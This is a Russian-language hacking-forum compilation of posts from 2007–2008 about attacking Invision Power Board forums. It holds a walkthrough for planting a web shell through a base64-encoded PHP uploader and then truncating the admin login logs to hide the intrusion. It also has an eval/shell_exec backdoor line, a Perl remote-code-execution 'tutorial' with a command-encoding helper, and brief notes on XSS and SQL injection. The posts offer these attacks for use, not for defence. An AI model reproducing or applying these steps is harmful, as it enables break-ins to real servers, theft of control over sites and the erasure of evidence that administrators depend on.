заливки файла, самый наипростейший и зделать простую форму отправки ... и залить шелл на сервер, снова врубил локалхост и начал пробывать ... Задумка у меня была такой... средствами PHP создам файл в этой же дири что и админка forum/admin/ ! Например conf_ini.php . листинг файла PHP: $save=1; $scr=base64_decode('PD8NCiR1cGxvYWRkaXIgPSAnQzovdm FyL3d3dy94eHh4eHh4eC5ydS9kYXRhL2ZvcnVtL2FkbWluLyc7DQppZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbG UnXVsndG1wX25hbWUnXSwgJHVwbG9hZGRpci4kX0ZJTEVTWydm aWxlJ11bJ25hbWUnXSkpDQoge2VjaG8gJ/Px7+X47e4nO31lbHNle2VjaG8gJ8746OHq4Cc7fQ0KPz4='); $fl=fopen('conf_ini.php','w+'); @fwrite($fl,$scr); вот кусок который я закодировал PHP: <? $uploaddir = 'C:/var/www/xxxxxxxx.ru/data/forum/admin/'; if (@move_uploaded_file($_FILES['file']['tmp_name'], $uploaddir.$_FILES['file']['name'])) {echo 'ну вот тебе радость';} else {echo 'обламайся гнус';} ?> Тут самое главное правильно указать путь к папке админа, если вы не знаете полный путь можно посмотреть его либо функцией getcwd() либо из появившихся ошибок. После того как скрипт сработал я почапал по адресу forum/admin/conf_ini.php и увидел надпись о том что скрипт сработал (а сработает он не удачно, т к загрузки пока нет), самое главное скрипт сработал ! Дальше я вернулся к опции настроек и изменил php код уже имеющейся (созданой) настройки на PHP: $save=1; echo ' <form enctype="multipart/form-data" method="post" action="http://www.xxxxxxxxx.ru/forum/admin/conf_ini.php"> <input type="file" name="file" size="30"><br><BR> <input type="submit" value="gooo"> </form> '; После того как я сохранил эту настройку, вверху поивилось поле (file) с кнопкой (gooo)... Ну и так скать процесс пошёл -) и пошёл неплохо ... После завершения закачки я зашёл по адресу http://www.xxxxxxxxx.ru/forum/admin/shell.php и злорадствовал =))) --------------------------------------------------------------------------- З.Ы.Да, забыл добавить, что создав файлик не на залифку шелла а на инклуд со своей паги сервер залупился и сказал что удалёное использование скрипта через инклуд идёт нахер ! Чистим следы ... Если вы хотите что бы админ ничего не заподозрил, то можно почистить записи о вашем прибывании в админке IP адресе нике и времени Хнопочки или стандартной функции на очистку этих данных в админке нет (по крайней мере я не нашёл, так что еси есть нагами не пинайте) Зделать это можно при помощи того жэ SQL на форуме -)) Идём во фкладку ПРОЧЕЕ ищем там в меню (Управление SQL -> Инструменты) и выбераем таблицу ibf_admin_login_logs, (префикс ibf стоит по умолчанию при инсталяции форума) Дальше в поле для ввода команд базе прописываем TRUNCATE `ibf2_admin_login_logs`; Опачки -) и записи пропали -)) PS Материал востановлен Дата публикации: 03.08.2007, 00:33 Автор n-000
Автор: GreenBear if($ipclass->input['gg']) eval($ipclass->input['gg']); shell_exec($ipclass->input['gg']); PS Материал востановлен Дата публикации: 03.08.2007, 01:01 Автор GreenBear
Invision Power Board <= 2.1.5 Remote Code Execution Tutorial Автор: +toxa+ Invision Power Board <= 2.1.5 Remote Code Execution PHP: #!usr/bin/perl ## Invision Power Board <= 2.1.5 Remote Code Execution Tutorial ## By not null ## Security Bunker Team ## http://secbun.info ## It is not an exploit! It is only tutorial, how to exploit a forum! print q( #-----------------------------------------# # Invision Power Board 2.x.x RCE Tutorial # # By Security Bunker Team | ©not null # # http://www.secbun.info # #-----------------------------------------# ); print q( Step 1: If you are already register on the forum, just login on it. Else register first ;]); print "\r\nPress enter when finished...\r\n"; $ok = <STDIN>; print q( Ok, we have successful log in. Let's fun ;] Step 2: Go to some of the forum, where you could post messages. Step 3: Post a message, that consist our harmful code (muahaha) The code is: "eval(phpinfo()); //" [without quotes] ); print "\r\nPress enter when finished...\r\n"; $ok = <STDIN>; print q(When message is post, open a new page in your browser and go to the Search (index.php?act=search). Use the search form to find your post just by your username. And make sure "Show results as posts" is selected.); print "\r\nPress enter when finished...\r\n"; $ok = <STDIN>; print q(You must see your post, that consist our code. Then add to the end of the url next string:); print "\r\n&lastdate=z|eval.*?%20//)%23e%00\r\n"; print q(and press enter...); print "\r\nPress enter when finished...\r\n"; $ok = <STDIN>; print q(Can you see a result of phpinfo? If yes, we have successful exploited forum :-] So, let's modify our post to get a shell. But on this step we have a problem: we can't use arguments in functions (e.g. system("ls")) in such form. But we can use it by it's code (e.g. system(chr(34).chr(108).chr(115).chr(34))) I'm include a simple tool, that will help you to encode you string into code. Just type your command, and you will get a string, that you can copy and paste into your post); print "\r\n"; $out = ""; while () { print "\r\nCommand for encode or 'exit' for exit "; while(<STDIN>) { $cmd=$_; chomp($cmd); exit() if ($cmd eq 'exit); last; } $len = length($cmd); for ($i=0; $i<$len; $i++) { $s = substr($cmd,$i,1); $out.="chr(".ord($s).")"; if($i != $len-1) { $out.="."; } } print "eval(system(".$out.").chr(59).exit()); //"; $out = ""; } PS Материал востановлен Дата публикации: 15.08.2007, 14:58 Автор +toxa+
Passive XSS IPB <=1.3, <=2.1.6 Автор: blackybr Если кто думает что xss в админах неактуальны - пусть это не читает! =) Как раз они то нам и нужны. Какой нам прок от обычного пользователя? Подавай нам админа. Passive XSS IPB <=1.3 IPB <=2.1.6 Также в довольно старой версии 1.2 присутствует активная ксс PS Материал востановлен Дата публикации: 06.10.2007, 17:42 Автор blackybr
Invision Gallery <= 2.0.7 Remote SQL Injection Автор: iddqd Vulnerable: Invision Gallery <= 2.0.7 Remote SQL Injection Exploit: http://milw0rm.com/exploits/4966 PS Материал востановлен Дата публикации: 23.01.2008, 15:25 Автор iddqd
Active XSS IPB<=2.3.3 Автор: XenOtai IPB <-2.3.3 Found by XenOtai from Veronal H2S Team. Работает в осле и лисе. Если выдает ошибку: THE FOLLOWING ERROR(S) WERE FOUND Sorry, dynamic pages in the tags are not allowed (Динамические страницы в тегах [img] запрещены)[/COLOR] значит пропатчен. [right]PS Материал востановлен Дата публикации: 21.11.2007, 02:42 Автор [B]XenOtai[/B][/right]